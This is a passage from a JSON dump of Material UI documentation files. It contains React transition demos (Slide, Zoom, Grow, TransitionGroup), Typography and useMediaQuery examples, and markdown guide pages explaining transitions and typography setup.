    "content": "<FormControlLabel\n  control={<Switch checked={checked} onChange={handleChange} />}\n  label=\"Show\"\n/>\n<Box sx={{ display: 'flex' }}>\n  <Grow in={checked}>{icon}</Grow>\n  {/* Conditionally applies the timeout prop to change the entry speed. */}\n  <Grow\n    in={checked}\n    style={{ transformOrigin: '0 0 0' }}\n    {...(checked ? { timeout: 1000 } : {})}\n  >\n    {icon}\n  </Grow>\n</Box>"
  },
  {
    "path": "docs/data/material/components/transitions/SimpleSlide.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Switch from '@mui/material/Switch';\nimport Paper from '@mui/material/Paper';\nimport Slide from '@mui/material/Slide';\nimport FormControlLabel from '@mui/material/FormControlLabel';\n\nconst icon = (\n  <Paper sx={{ m: 1, width: 100, height: 100 }} elevation={4}>\n    <svg width=\"100\" height=\"100\">\n      <Box\n        component=\"polygon\"\n        points=\"0,100 50,00, 100,100\"\n        sx={(theme) => ({\n          fill: theme.palette.common.white,\n          stroke: theme.palette.divider,\n          strokeWidth: 1,\n        })}\n      />\n    </svg>\n  </Paper>\n);\n\nexport default function SimpleSlide() {\n  const [checked, setChecked] = React.useState(false);\n\n  const handleChange = () => {\n    setChecked((prev) => !prev);\n  };\n\n  return (\n    <Box sx={{ height: 180, width: 130, position: 'relative', zIndex: 1 }}>\n      <FormControlLabel\n        control={<Switch checked={checked} onChange={handleChange} />}\n        label=\"Show\"\n      />\n      <Slide direction=\"up\" in={checked} mountOnEnter unmountOnExit>\n        {icon}\n      </Slide>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/transitions/SimpleSlide.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Switch from '@mui/material/Switch';\nimport Paper from '@mui/material/Paper';\nimport Slide from '@mui/material/Slide';\nimport FormControlLabel from '@mui/material/FormControlLabel';\n\nconst icon = (\n  <Paper sx={{ m: 1, width: 100, height: 100 }} elevation={4}>\n    <svg width=\"100\" height=\"100\">\n      <Box\n        component=\"polygon\"\n        points=\"0,100 50,00, 100,100\"\n        sx={(theme) => ({\n          fill: theme.palette.common.white,\n          stroke: theme.palette.divider,\n          strokeWidth: 1,\n        })}\n      />\n    </svg>\n  </Paper>\n);\n\nexport default function SimpleSlide() {\n  const [checked, setChecked] = React.useState(false);\n\n  const handleChange = () => {\n    setChecked((prev) => !prev);\n  };\n\n  return (\n    <Box sx={{ height: 180, width: 130, position: 'relative', zIndex: 1 }}>\n      <FormControlLabel\n        control={<Switch checked={checked} onChange={handleChange} />}\n        label=\"Show\"\n      />\n      <Slide direction=\"up\" in={checked} mountOnEnter unmountOnExit>\n        {icon}\n      </Slide>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/transitions/SimpleSlide.tsx.preview",
    "content": "<FormControlLabel\n  control={<Switch checked={checked} onChange={handleChange} />}\n  label=\"Show\"\n/>\n<Slide direction=\"up\" in={checked} mountOnEnter unmountOnExit>\n  {icon}\n</Slide>"
  },
  {
    "path": "docs/data/material/components/transitions/SimpleZoom.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Switch from '@mui/material/Switch';\nimport Paper from '@mui/material/Paper';\nimport Zoom from '@mui/material/Zoom';\nimport FormControlLabel from '@mui/material/FormControlLabel';\n\nconst icon = (\n  <Paper sx={{ m: 1, width: 100, height: 100 }} elevation={4}>\n    <svg width=\"100\" height=\"100\">\n      <Box\n        component=\"polygon\"\n        points=\"0,100 50,00, 100,100\"\n        sx={(theme) => ({\n          fill: theme.palette.common.white,\n          stroke: theme.palette.divider,\n          strokeWidth: 1,\n        })}\n      />\n    </svg>\n  </Paper>\n);\n\nexport default function SimpleZoom() {\n  const [checked, setChecked] = React.useState(false);\n\n  const handleChange = () => {\n    setChecked((prev) => !prev);\n  };\n\n  return (\n    <Box sx={{ height: 180 }}>\n      <FormControlLabel\n        control={<Switch checked={checked} onChange={handleChange} />}\n        label=\"Show\"\n      />\n      <Box sx={{ display: 'flex' }}>\n        <Zoom in={checked}>{icon}</Zoom>\n        <Zoom in={checked} style={{ transitionDelay: checked ? '500ms' : '0ms' }}>\n          {icon}\n        </Zoom>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/transitions/SimpleZoom.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Switch from '@mui/material/Switch';\nimport Paper from '@mui/material/Paper';\nimport Zoom from '@mui/material/Zoom';\nimport FormControlLabel from '@mui/material/FormControlLabel';\n\nconst icon = (\n  <Paper sx={{ m: 1, width: 100, height: 100 }} elevation={4}>\n    <svg width=\"100\" height=\"100\">\n      <Box\n        component=\"polygon\"\n        points=\"0,100 50,00, 100,100\"\n        sx={(theme) => ({\n          fill: theme.palette.common.white,\n          stroke: theme.palette.divider,\n          strokeWidth: 1,\n        })}\n      />\n    </svg>\n  </Paper>\n);\n\nexport default function SimpleZoom() {\n  const [checked, setChecked] = React.useState(false);\n\n  const handleChange = () => {\n    setChecked((prev) => !prev);\n  };\n\n  return (\n    <Box sx={{ height: 180 }}>\n      <FormControlLabel\n        control={<Switch checked={checked} onChange={handleChange} />}\n        label=\"Show\"\n      />\n      <Box sx={{ display: 'flex' }}>\n        <Zoom in={checked}>{icon}</Zoom>\n        <Zoom in={checked} style={{ transitionDelay: checked ? '500ms' : '0ms' }}>\n          {icon}\n        </Zoom>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/transitions/SimpleZoom.tsx.preview",
    "content": "<FormControlLabel\n  control={<Switch checked={checked} onChange={handleChange} />}\n  label=\"Show\"\n/>\n<Box sx={{ display: 'flex' }}>\n  <Zoom in={checked}>{icon}</Zoom>\n  <Zoom in={checked} style={{ transitionDelay: checked ? '500ms' : '0ms' }}>\n    {icon}\n  </Zoom>\n</Box>"
  },
  {
    "path": "docs/data/material/components/transitions/SlideFromContainer.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Switch from '@mui/material/Switch';\nimport Paper from '@mui/material/Paper';\nimport Slide from '@mui/material/Slide';\nimport FormControlLabel from '@mui/material/FormControlLabel';\n\nconst icon = (\n  <Paper sx={{ m: 1, width: 100, height: 100 }} elevation={4}>\n    <svg width=\"100\" height=\"100\">\n      <Box\n        component=\"polygon\"\n        points=\"0,100 50,00, 100,100\"\n        sx={(theme) => ({\n          fill: theme.palette.common.white,\n          stroke: theme.palette.divider,\n          strokeWidth: 1,\n        })}\n      />\n    </svg>\n  </Paper>\n);\n\nexport default function SlideFromContainer() {\n  const [checked, setChecked] = React.useState(false);\n  const containerRef = React.useRef(null);\n\n  const handleChange = () => {\n    setChecked((prev) => !prev);\n  };\n\n  return (\n    <Box\n      sx={{\n        width: 240,\n        borderRadius: 2,\n        border: '1px solid',\n        borderColor: 'divider',\n        backgroundColor: 'background.default',\n      }}\n    >\n      <Box sx={{ p: 2, height: 200, overflow: 'hidden' }} ref={containerRef}>\n        <FormControlLabel\n          control={<Switch checked={checked} onChange={handleChange} />}\n          label=\"Show from target\"\n        />\n        <Slide in={checked} container={containerRef.current}>\n          {icon}\n        </Slide>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/transitions/SlideFromContainer.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Switch from '@mui/material/Switch';\nimport Paper from '@mui/material/Paper';\nimport Slide from '@mui/material/Slide';\nimport FormControlLabel from '@mui/material/FormControlLabel';\n\nconst icon = (\n  <Paper sx={{ m: 1, width: 100, height: 100 }} elevation={4}>\n    <svg width=\"100\" height=\"100\">\n      <Box\n        component=\"polygon\"\n        points=\"0,100 50,00, 100,100\"\n        sx={(theme) => ({\n          fill: theme.palette.common.white,\n          stroke: theme.palette.divider,\n          strokeWidth: 1,\n        })}\n      />\n    </svg>\n  </Paper>\n);\n\nexport default function SlideFromContainer() {\n  const [checked, setChecked] = React.useState(false);\n  const containerRef = React.useRef<HTMLElement>(null);\n\n  const handleChange = () => {\n    setChecked((prev) => !prev);\n  };\n\n  return (\n    <Box\n      sx={{\n        width: 240,\n        borderRadius: 2,\n        border: '1px solid',\n        borderColor: 'divider',\n        backgroundColor: 'background.default',\n      }}\n    >\n      <Box sx={{ p: 2, height: 200, overflow: 'hidden' }} ref={containerRef}>\n        <FormControlLabel\n          control={<Switch checked={checked} onChange={handleChange} />}\n          label=\"Show from target\"\n        />\n        <Slide in={checked} container={containerRef.current}>\n          {icon}\n        </Slide>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/transitions/SlideFromContainer.tsx.preview",
    "content": "<Box sx={{ p: 2, height: 200, overflow: 'hidden' }} ref={containerRef}>\n  <FormControlLabel\n    control={<Switch checked={checked} onChange={handleChange} />}\n    label=\"Show from target\"\n  />\n  <Slide in={checked} container={containerRef.current}>\n    {icon}\n  </Slide>\n</Box>"
  },
  {
    "path": "docs/data/material/components/transitions/TransitionGroupExample.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Collapse from '@mui/material/Collapse';\nimport IconButton from '@mui/material/IconButton';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemText from '@mui/material/ListItemText';\nimport DeleteIcon from '@mui/icons-material/Delete';\nimport { TransitionGroup } from 'react-transition-group';\n\nconst FRUITS = [\n  '🍏 Apple',\n  '🍌 Banana',\n  '🍍 Pineapple',\n  '🥥 Coconut',\n  '🍉 Watermelon',\n];\n\nfunction renderItem({ item, handleRemoveFruit }) {\n  return (\n    <ListItem\n      secondaryAction={\n        <IconButton\n          edge=\"end\"\n          aria-label=\"delete\"\n          title=\"Delete\"\n          onClick={() => handleRemoveFruit(item)}\n        >\n          <DeleteIcon />\n        </IconButton>\n      }\n    >\n      <ListItemText primary={item} />\n    </ListItem>\n  );\n}\n\nexport default function TransitionGroupExample() {\n  const [fruitsInBasket, setFruitsInBasket] = React.useState(FRUITS.slice(0, 3));\n\n  const handleAddFruit = () => {\n    const nextHiddenItem = FRUITS.find((i) => !fruitsInBasket.includes(i));\n    if (nextHiddenItem) {\n      setFruitsInBasket((prev) => [nextHiddenItem, ...prev]);\n    }\n  };\n\n  const handleRemoveFruit = (item) => {\n    setFruitsInBasket((prev) => [...prev.filter((i) => i !== item)]);\n  };\n\n  const addFruitButton = (\n    <Button\n      variant=\"contained\"\n      disabled={fruitsInBasket.length >= FRUITS.length}\n      onClick={handleAddFruit}\n    >\n      Add fruit to basket\n    </Button>\n  );\n\n  return (\n    <div>\n      {addFruitButton}\n      <List sx={{ mt: 1 }}>\n        <TransitionGroup>\n          {fruitsInBasket.map((item) => (\n            <Collapse key={item}>{renderItem({ item, handleRemoveFruit })}</Collapse>\n          ))}\n        </TransitionGroup>\n      </List>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/transitions/TransitionGroupExample.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Collapse from '@mui/material/Collapse';\nimport IconButton from '@mui/material/IconButton';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemText from '@mui/material/ListItemText';\nimport DeleteIcon from '@mui/icons-material/Delete';\nimport { TransitionGroup } from 'react-transition-group';\n\nconst FRUITS = [\n  '🍏 Apple',\n  '🍌 Banana',\n  '🍍 Pineapple',\n  '🥥 Coconut',\n  '🍉 Watermelon',\n];\n\ninterface RenderItemOptions {\n  item: string;\n  handleRemoveFruit: (item: string) => void;\n}\n\nfunction renderItem({ item, handleRemoveFruit }: RenderItemOptions) {\n  return (\n    <ListItem\n      secondaryAction={\n        <IconButton\n          edge=\"end\"\n          aria-label=\"delete\"\n          title=\"Delete\"\n          onClick={() => handleRemoveFruit(item)}\n        >\n          <DeleteIcon />\n        </IconButton>\n      }\n    >\n      <ListItemText primary={item} />\n    </ListItem>\n  );\n}\n\nexport default function TransitionGroupExample() {\n  const [fruitsInBasket, setFruitsInBasket] = React.useState(FRUITS.slice(0, 3));\n\n  const handleAddFruit = () => {\n    const nextHiddenItem = FRUITS.find((i) => !fruitsInBasket.includes(i));\n    if (nextHiddenItem) {\n      setFruitsInBasket((prev) => [nextHiddenItem, ...prev]);\n    }\n  };\n\n  const handleRemoveFruit = (item: string) => {\n    setFruitsInBasket((prev) => [...prev.filter((i) => i !== item)]);\n  };\n\n  const addFruitButton = (\n    <Button\n      variant=\"contained\"\n      disabled={fruitsInBasket.length >= FRUITS.length}\n      onClick={handleAddFruit}\n    >\n      Add fruit to basket\n    </Button>\n  );\n\n  return (\n    <div>\n      {addFruitButton}\n      <List sx={{ mt: 1 }}>\n        <TransitionGroup>\n          {fruitsInBasket.map((item) => (\n            <Collapse key={item}>{renderItem({ item, handleRemoveFruit })}</Collapse>\n          ))}\n        </TransitionGroup>\n      </List>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/transitions/TransitionGroupExample.tsx.preview",
    "content": "{addFruitButton}\n<List sx={{ mt: 1 }}>\n  <TransitionGroup>\n    {fruitsInBasket.map((item) => (\n      <Collapse key={item}>{renderItem({ item, handleRemoveFruit })}</Collapse>\n    ))}\n  </TransitionGroup>\n</List>"
  },
  {
    "path": "docs/data/material/components/transitions/transitions.md",
    "content": "---\nproductId: material-ui\ntitle: React Transition component\ncomponents: Collapse, Fade, Grow, Slide, Zoom\ngithubLabel: 'scope: transitions'\ngithubSource: packages/mui-material/src/transitions\n---\n\n# Transitions\n\n<p class=\"description\">Transitions help to make a UI expressive and easy to use.</p>\n\nMaterial UI provides transitions that can be used to introduce some basic [motion](https://m2.material.io/design/motion/) to your applications.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\", \"design\": false}}\n\n## Collapse\n\nExpand from the start edge of the child element.\nUse the `orientation` prop if you need a horizontal collapse.\nThe `collapsedSize` prop can be used to set the minimum width/height when not expanded.\n\n{{\"demo\": \"SimpleCollapse.js\", \"bg\": true}}\n\n## Fade\n\nFade in from transparent to opaque.\n\n{{\"demo\": \"SimpleFade.js\", \"bg\": true}}\n\n## Grow\n\nExpands outwards from the center of the child element, while also fading in from transparent to opaque.\n\nThe second example demonstrates how to change the `transform-origin`, and conditionally applies\nthe `timeout` prop to change the entry speed.\n\n{{\"demo\": \"SimpleGrow.js\", \"bg\": true}}\n\n## Slide\n\nSlide in from the edge of the screen.\nThe `direction` prop controls which edge of the screen the transition starts from.\n\nThe Transition component's `mountOnEnter` prop prevents the child component from being mounted\nuntil `in` is `true`.\nThis prevents the relatively positioned component from scrolling into view\nfrom its off-screen position.\nSimilarly, the `unmountOnExit` prop removes the component from the DOM after it has been transition off-screen.\n\n{{\"demo\": \"SimpleSlide.js\", \"bg\": true}}\n\n### Slide relative to a container\n\nThe Slide component also accepts `container` prop, which is a reference to a DOM node.\nIf this prop is set, the Slide component will slide from the edge of that DOM node.\n\n{{\"demo\": \"SlideFromContainer.js\", \"bg\": true}}\n\n## Zoom\n\nExpand outwards from the center of the child element.\n\nThis example also demonstrates how to delay the enter transition.\n\n{{\"demo\": \"SimpleZoom.js\", \"bg\": true}}\n\n## Child requirement\n\n- **Forward the style**: To better support server rendering, Material UI provides a `style` prop to the children of some transition components (Fade, Grow, Zoom, Slide).\n  The `style` prop must be applied to the DOM for the animation to work as expected.\n- **Forward the ref**: The transition components require the first child element to forward its ref to the DOM node. For more details about ref, check out [Caveat with refs](/material-ui/guides/composition/#caveat-with-refs)\n- **Single element**: The transition components require only one child element (`React.Fragment` is not allowed).\n\n```jsx\n// The `props` object contains a `style` prop.\n// You need to provide it to the `div` element as shown here.\nconst MyComponent = React.forwardRef(function (props, ref) {\n  return (\n    <div ref={ref} {...props}>\n      Fade\n    </div>\n  );\n});\n\nexport default function Main() {\n  return (\n    <Fade>\n      {/* MyComponent must be the only child */}\n      <MyComponent />\n    </Fade>\n  );\n}\n```\n\n## TransitionGroup\n\nTo animate a component when it is mounted or unmounted, you can use the [`TransitionGroup`](https://reactcommunity.org/react-transition-group/transition-group/) component from _react-transition-group_.\nAs components are added or removed, the `in` prop is toggled automatically by `TransitionGroup`.\n\n{{\"demo\": \"TransitionGroupExample.js\"}}\n\n## TransitionComponent prop\n\nSome Material UI components use these transitions internally. These accept a `TransitionComponent` prop to customize the default transition.\nYou can use any of the above components or your own.\nIt should respect the following conditions:\n\n- Accepts an `in` prop. This corresponds to the open/close state.\n- Call the `onEnter` callback prop when the enter transition starts.\n- Call the `onExited` callback prop when the exit transition is completed.\n  These two callbacks allow to unmount the children when in a closed state and fully transitioned.\n\nFor more information on creating a custom transition, visit the _react-transition-group_ [`Transition` documentation](https://reactcommunity.org/react-transition-group/transition/).\nYou can also visit the dedicated sections of some of the components:\n\n- [Modal](/material-ui/react-modal/#transitions)\n- [Dialog](/material-ui/react-dialog/#transitions)\n- [Popper](/material-ui/react-popper/#transitions)\n- [Snackbar](/material-ui/react-snackbar/#transitions)\n- [Tooltip](/material-ui/react-tooltip/#transitions)\n\n## Performance & SEO\n\nThe content of transition component is mounted by default even if `in={false}`.\nThis default behavior has server-side rendering and SEO in mind.\nIf you render expensive component trees inside your transition it might be a good idea to change this default behavior by enabling the\n`unmountOnExit` prop:\n\n```jsx\n<Fade in={false} unmountOnExit />\n```\n\nAs with any performance optimization this is not a silver bullet.\nBe sure to identify bottlenecks first and then try out these optimization strategies.\n"
  },
  {
    "path": "docs/data/material/components/typography/Types.js",
    "content": "import Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\n\nexport default function Types() {\n  return (\n    <Box sx={{ width: '100%', maxWidth: 500 }}>\n      <Typography variant=\"h1\" gutterBottom>\n        h1. Heading\n      </Typography>\n      <Typography variant=\"h2\" gutterBottom>\n        h2. Heading\n      </Typography>\n      <Typography variant=\"h3\" gutterBottom>\n        h3. Heading\n      </Typography>\n      <Typography variant=\"h4\" gutterBottom>\n        h4. Heading\n      </Typography>\n      <Typography variant=\"h5\" gutterBottom>\n        h5. Heading\n      </Typography>\n      <Typography variant=\"h6\" gutterBottom>\n        h6. Heading\n      </Typography>\n      <Typography variant=\"subtitle1\" gutterBottom>\n        subtitle1. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Quos\n        blanditiis tenetur\n      </Typography>\n      <Typography variant=\"subtitle2\" gutterBottom>\n        subtitle2. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Quos\n        blanditiis tenetur\n      </Typography>\n      <Typography variant=\"body1\" gutterBottom>\n        body1. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Quos\n        blanditiis tenetur unde suscipit, quam beatae rerum inventore consectetur,\n        neque doloribus, cupiditate numquam dignissimos laborum fugiat deleniti? Eum\n        quasi quidem quibusdam.\n      </Typography>\n      <Typography variant=\"body2\" gutterBottom>\n        body2. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Quos\n        blanditiis tenetur unde suscipit, quam beatae rerum inventore consectetur,\n        neque doloribus, cupiditate numquam dignissimos laborum fugiat deleniti? Eum\n        quasi quidem quibusdam.\n      </Typography>\n      <Typography variant=\"button\" gutterBottom sx={{ display: 'block' }}>\n        button text\n      </Typography>\n      <Typography variant=\"caption\" gutterBottom sx={{ display: 'block' }}>\n        caption text\n      </Typography>\n      <Typography variant=\"overline\" gutterBottom sx={{ display: 'block' }}>\n        overline text\n      </Typography>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/typography/Types.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\n\nexport default function Types() {\n  return (\n    <Box sx={{ width: '100%', maxWidth: 500 }}>\n      <Typography variant=\"h1\" gutterBottom>\n        h1. Heading\n      </Typography>\n      <Typography variant=\"h2\" gutterBottom>\n        h2. Heading\n      </Typography>\n      <Typography variant=\"h3\" gutterBottom>\n        h3. Heading\n      </Typography>\n      <Typography variant=\"h4\" gutterBottom>\n        h4. Heading\n      </Typography>\n      <Typography variant=\"h5\" gutterBottom>\n        h5. Heading\n      </Typography>\n      <Typography variant=\"h6\" gutterBottom>\n        h6. Heading\n      </Typography>\n      <Typography variant=\"subtitle1\" gutterBottom>\n        subtitle1. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Quos\n        blanditiis tenetur\n      </Typography>\n      <Typography variant=\"subtitle2\" gutterBottom>\n        subtitle2. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Quos\n        blanditiis tenetur\n      </Typography>\n      <Typography variant=\"body1\" gutterBottom>\n        body1. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Quos\n        blanditiis tenetur unde suscipit, quam beatae rerum inventore consectetur,\n        neque doloribus, cupiditate numquam dignissimos laborum fugiat deleniti? Eum\n        quasi quidem quibusdam.\n      </Typography>\n      <Typography variant=\"body2\" gutterBottom>\n        body2. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Quos\n        blanditiis tenetur unde suscipit, quam beatae rerum inventore consectetur,\n        neque doloribus, cupiditate numquam dignissimos laborum fugiat deleniti? Eum\n        quasi quidem quibusdam.\n      </Typography>\n      <Typography variant=\"button\" gutterBottom sx={{ display: 'block' }}>\n        button text\n      </Typography>\n      <Typography variant=\"caption\" gutterBottom sx={{ display: 'block' }}>\n        caption text\n      </Typography>\n      <Typography variant=\"overline\" gutterBottom sx={{ display: 'block' }}>\n        overline text\n      </Typography>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/typography/TypographyTheme.js",
    "content": "import { styled } from '@mui/material/styles';\n\nconst Div = styled('div')(({ theme }) => ({\n  ...theme.typography.button,\n  backgroundColor: (theme.vars || theme).palette.background.paper,\n  padding: theme.spacing(1),\n}));\n\nexport default function TypographyTheme() {\n  return <Div>{\"This div's text looks like that of a button.\"}</Div>;\n}\n"
  },
  {
    "path": "docs/data/material/components/typography/TypographyTheme.tsx",
    "content": "import { styled } from '@mui/material/styles';\n\nconst Div = styled('div')(({ theme }) => ({\n  ...theme.typography.button,\n  backgroundColor: (theme.vars || theme).palette.background.paper,\n  padding: theme.spacing(1),\n}));\n\nexport default function TypographyTheme() {\n  return <Div>{\"This div's text looks like that of a button.\"}</Div>;\n}\n"
  },
  {
    "path": "docs/data/material/components/typography/TypographyTheme.tsx.preview",
    "content": "<Div>{\"This div's text looks like that of a button.\"}</Div>"
  },
  {
    "path": "docs/data/material/components/typography/typography.md",
    "content": "---\nproductId: material-ui\ntitle: React Typography component\ncomponents: Typography\ngithubLabel: 'scope: typography'\nmaterialDesign: https://m2.material.io/design/typography/the-type-system.html\ngithubSource: packages/mui-material/src/Typography\n---\n\n# Typography\n\n<p class=\"description\">Use typography to present your design and content as clearly and efficiently as possible.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Roboto font\n\nMaterial UI uses the [Roboto](https://fonts.google.com/specimen/Roboto) font by default.\nAdd it to your project via Fontsource, or with the Google Fonts CDN.\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install @fontsource/roboto\n```\n\n```bash pnpm\npnpm add @fontsource/roboto\n```\n\n```bash yarn\nyarn add @fontsource/roboto\n```\n\n</codeblock>\n\nThen you can import it in your entry point like this:\n\n```tsx\nimport '@fontsource/roboto/300.css';\nimport '@fontsource/roboto/400.css';\nimport '@fontsource/roboto/500.css';\nimport '@fontsource/roboto/700.css';\n```\n\n:::info\nFontsource can be configured to load specific subsets, weights, and styles. Material UI's default typography configuration relies only on the 300, 400, 500, and 700 font weights.\n:::\n\n### Google Web Fonts\n\nTo install Roboto through the Google Web Fonts CDN, add the following code inside your project's `<head />` tag:\n\n```html\n<link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n<link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n<link\n  rel=\"stylesheet\"\n  href=\"https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap\"\n/>\n```\n\n## Component\n\n### Usage\n\nThe Typography component follows the [Material Design typographic scale](https://m2.material.io/design/typography/#type-scale) that provides a limited set of type sizes that work well together for a consistent layout.\n\n{{\"demo\": \"Types.js\"}}\n\n### Theme keys\n\nIn some situations you might not be able to use the Typography component.\nHopefully, you might be able to take advantage of the [`typography`](/material-ui/customization/default-theme/?expand-path=$.typography) keys of the theme.\n\n{{\"demo\": \"TypographyTheme.js\"}}\n\n## Customization\n\n### Adding & disabling variants\n\nIn addition to using the default typography variants, you can add custom ones, or disable any you don't need. See the [Adding & disabling variants](/material-ui/customization/typography/#adding-disabling-variants) page for more info.\n\n### Changing the semantic element\n\nThe Typography component uses the `variantMapping` prop to associate a UI variant with a semantic element.\nIt's important to realize that the style of a typography component is independent from the semantic underlying element.\n\nTo change the underlying element for a one-off situation, like avoiding two `h1` elements in your page, use the `component` prop:\n\n```jsx\n<Typography variant=\"h1\" component=\"h2\">\n  h1. Heading\n</Typography>\n```\n\nTo change the typography element mapping globally, [use the theme](/material-ui/customization/typography/#adding-disabling-variants):\n\n```js\nconst theme = createTheme({\n  components: {\n    MuiTypography: {\n      defaultProps: {\n        variantMapping: {\n          h1: 'h2',\n          h2: 'h2',\n          h3: 'h2',\n          h4: 'h2',\n          h5: 'h2',\n          h6: 'h2',\n          subtitle1: 'h2',\n          subtitle2: 'h2',\n          body1: 'span',\n          body2: 'span',\n        },\n      },\n    },\n  },\n});\n```\n\n### sx prop\n\nUse the [`sx` prop](/system/getting-started/the-sx-prop/) to quickly customize any Typography instance using a superset of CSS that has access to all the style functions and theme-aware properties exposed in the MUI System package.\nBelow is an example of how to apply margin using this prop:\n\n```jsx\n<Typography sx={{ m: 2 }} />\n```\n\n## Accessibility\n\nKey factors to follow for an accessible typography:\n\n- **Color**. Provide enough contrast between text and its background, check out the minimum recommended [WCAG 2.0 color contrast ratio](https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html) (4.5:1).\n- **Font size**. Use [relative units (rem)](/material-ui/customization/typography/#font-size), instead of pixels, to accommodate the user's browser settings.\n- **Heading hierarchy**. Based on [the W3 guidelines](https://www.w3.org/WAI/tutorials/page-structure/headings/), don't skip heading levels. Make sure to [separate the semantics from the style](#changing-the-semantic-element).\n"
  },
  {
    "path": "docs/data/material/components/use-media-query/JavaScriptMedia.js",
    "content": "import json2mq from 'json2mq';\nimport useMediaQuery from '@mui/material/useMediaQuery';\n\nexport default function JavaScriptMedia() {\n  const matches = useMediaQuery(\n    json2mq({\n      minWidth: 600,\n    }),\n  );\n\n  return <span>{`{ minWidth: 600 } matches: ${matches}`}</span>;\n}\n"
  },
  {
    "path": "docs/data/material/components/use-media-query/JavaScriptMedia.tsx",
    "content": "import json2mq from 'json2mq';\nimport useMediaQuery from '@mui/material/useMediaQuery';\n\nexport default function JavaScriptMedia() {\n  const matches = useMediaQuery(\n    json2mq({\n      minWidth: 600,\n    }),\n  );\n\n  return <span>{`{ minWidth: 600 } matches: ${matches}`}</span>;\n}\n"
  },
  {
    "path": "docs/data/material/components/use-media-query/JavaScriptMedia.tsx.preview",
    "content": "<span>{`{ minWidth: 600 } matches: ${matches}`}</span>"
  },
  {
    "path": "docs/data/material/components/use-media-query/ServerSide.js",
    "content": "import mediaQuery from 'css-mediaquery';\nimport { ThemeProvider } from '@mui/material/styles';\nimport useMediaQuery from '@mui/material/useMediaQuery';\n\nfunction MyComponent() {\n  const matches = useMediaQuery('(min-width:600px)');\n\n  return <span>{`(min-width:600px) matches: ${matches}`}</span>;\n}\n\nexport default function ServerSide() {\n  const ssrMatchMedia = (query) => ({\n    matches: mediaQuery.match(query, {\n      // The estimated CSS width of the browser.\n      width: 800,\n    }),\n  });\n\n  return (\n    <ThemeProvider\n      theme={{\n        components: {\n          MuiUseMediaQuery: {\n            // Change the default options of useMediaQuery\n            defaultProps: { ssrMatchMedia },\n          },\n        },\n      }}\n    >\n      <MyComponent />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/use-media-query/ServerSide.tsx",
    "content": "import mediaQuery from 'css-mediaquery';\nimport { ThemeProvider, Theme } from '@mui/material/styles';\nimport useMediaQuery from '@mui/material/useMediaQuery';\n\nfunction MyComponent() {\n  const matches = useMediaQuery('(min-width:600px)');\n\n  return <span>{`(min-width:600px) matches: ${matches}`}</span>;\n}\n\nexport default function ServerSide() {\n  const ssrMatchMedia = (query: string) => ({\n    matches: mediaQuery.match(query, {\n      // The estimated CSS width of the browser.\n      width: 800,\n    }),\n  });\n\n  return (\n    <ThemeProvider<Theme>\n      theme={{\n        components: {\n          MuiUseMediaQuery: {\n            // Change the default options of useMediaQuery\n            defaultProps: { ssrMatchMedia },\n          },\n        },\n      }}\n    >\n      <MyComponent />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/use-media-query/ServerSide.tsx.preview",
    "content": "<ThemeProvider<Theme>\n  theme={{\n    components: {\n      MuiUseMediaQuery: {\n        // Change the default options of useMediaQuery\n        defaultProps: { ssrMatchMedia },\n      },\n    },\n  }}\n>\n  <MyComponent />\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/components/use-media-query/SimpleMediaQuery.js",
    "content": "import useMediaQuery from '@mui/material/useMediaQuery';\n\nexport default function SimpleMediaQuery() {\n  const matches = useMediaQuery('(min-width:600px)');\n\n  return <span>{`(min-width:600px) matches: ${matches}`}</span>;\n}\n"
  },
  {
    "path": "docs/data/material/components/use-media-query/SimpleMediaQuery.tsx",
    "content": "import useMediaQuery from '@mui/material/useMediaQuery';\n\nexport default function SimpleMediaQuery() {\n  const matches = useMediaQuery('(min-width:600px)');\n\n  return <span>{`(min-width:600px) matches: ${matches}`}</span>;\n}\n"
  },
  {
    "path": "docs/data/material/components/use-media-query/SimpleMediaQuery.tsx.preview",
